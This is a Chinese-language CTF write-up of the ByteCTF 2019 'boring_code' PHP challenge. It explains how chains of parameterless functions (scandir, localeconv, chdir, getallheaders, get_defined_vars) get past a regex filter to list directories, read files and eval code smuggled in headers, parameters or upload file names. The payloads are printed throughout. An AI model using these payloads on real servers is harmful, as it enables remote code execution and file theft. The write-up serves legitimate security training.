题目环境:https://github.com/CTFTraining/bytectf_2019_web_boring_code
1 |
|
简单分析一下,这个页面的作用是,接受一个url参数,利用file_get_content远程获取url页面的源码,传递给eval执行。但在url传递和源码传递过程中有各种检测。
is_valid_url()
函数来检测url的正确性,并禁止使用data协议。这里如果没有is_valid_url()
是可以使用data伪协议绕过域名的限制,如下面的例子所示:
PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
php 版本大于等于 php5.2
1 |
|
这里把data协议禁止了之后,想要利用伪协议绕过的话近乎无解。
但是还是有很多骚操作,这篇文章主要讲下面的知识,至于怎么绕过我就直接放一个链接:https://www.guildhab.top/?p=1077
preg_replace('/[a-z]+\((?R)?\)/'
可知,这里只允许无参数的函数传递进来。并且函数名只能为字母,不能包含下划线等其他特殊字符。et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log
也就是说我们传入的值必须是一个只含字母并且没有参数的函数的payload.同时可以注意到这个是可以进行一个函数的套用。所以我们的目标是构造多个空参数的函数去读取flag。
首先看scandir()
函数:
scandir('.')
能够返回当前目录的文件列表的数组,那么怎么取出文件名和读取文件呢,可以使用end()
和readfile()
:
但是还需要构造函数scandir('.')
中的参数.
,这里有一个localeconv()
函数:
其中数组的第一个元素就是.
,而与end()
相反的取第一个元素的函数有:
因为这里还过滤en,所以就选择了后者。那么就可以构造如下payload可以读取到文件本地文件:
1 | readfile(end(scandir(pos(localeconv())))) |
但是flag并不在本文件夹下,那么就需要用到改变当前目录的函数:chdir()
函数可以改变当前的目录,此外还需要借助next()
函数将内部指针指向数组中的下一个元素,并输出。 这里可以获取到scandir()返回的..
。
但是chdir()
函数并不会返回一个目录列表,而是一个Bool值,这里有两种办法:
第一种办法是使用if语句,也就是当跳转目录成功时候就读取当前文件。构造如下payload:
1 | if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv())))) |
第二种方法是使用localtime()
配合chr
获取.
的payload:chr(pos(localtime()))
当时间为某一分钟的46秒时,pos(localtime())
返回46,而且46是.
的ASCII码值,所以payload就会返回.
。
但是localtime
第一个参数是接收一个时间戳,所以这里需要使用time()来解决。time()不会受参数的影响并且会返回一个时间戳。
所以我们的payload就是:
1 | readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))); |
其中chdir(next(scandir(pos(localeconv()))))
更换当前路径,scandir(chr(pos(localtime(time))))
列出更改路径后的当前目录结构。
Sky师傅的文章已经说的很清楚了,这里就做一个小结。
1 |
|
这个正则表达式和上面的区别在于这里还可以运行函数名称包含_
等特殊字符。
版本要求PHP > 7.1
使用getenv()获取超全局变量的数组,使用array_rand和array_flip爆破出所有的全局变量。
1 | getallheaders() 获取全部 HTTP 请求头信息, 是下面函数的别名 |
这两个函数只适用于apache服务器
添加一个Header为ca01h: phpinfo();
,根据位置选择合适的payload:
添加在Header在第一个:
payload: code=eval(pos(getallheaders()));
(pos()可以换为current(). 如果在第二个可以使用next())
添加在Header在最后一个:
payload: code=eval(end(getallheaders()));
不知道位置:
配合array_rand()
, array_flip()
构造payload进行爆破:
payload: eval(array_rand(array_flip(getallheaders())));
1 | get_defined_vars() 函数返回由所有已定义变量所组成的数组。 |
和getallheaders()利用类似,但是不止apache, ngnix和其他的也可以用
函数返回的内容:
1 | array(4) { |
$_GET
url:http://127.0.0.1/ctf/boringcode/rce.php?test=phpinfo();
post:code=eval(end(current(get_defined_vars())));
$_FILE
1 | import requests |
直接把payload放在文件名上,然后用两次pos
定位进行利用。
1 | getchwd() 函数返回当前工作目录。 |
Topic | URL |
---|---|
ByteCTF一道题的分析与学习PHP无参数函数的利用 | https://threezh1.com/2019/09/15/boringcode/#get-defined-vars-gt-RCE |
复现ByteCTF-boringcode | https://www.plasf.cn/2019/10/07/ByteCTF-WEB复现/ |
PHP Parametric Function RCE | https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#前言 |
2020.06.19
如何利用无参数函数跳转到根目录,假设当前目录是/var/www/html
:
1 | var_dump(scandir(dirname(dirname(dirname(getcwd()))))) |
2020.06.22
array_flip
可以替换为array_reverse
readfile
可以替换为show_source
2020.07.02
1 | readfile(array_rand(array_flip(scandir(current(localeconv()))))); |
2020.07.13
https://app.yinxiang.com/fx/73cc8928-dad4-4f87-b4d6-0d1e29375ee0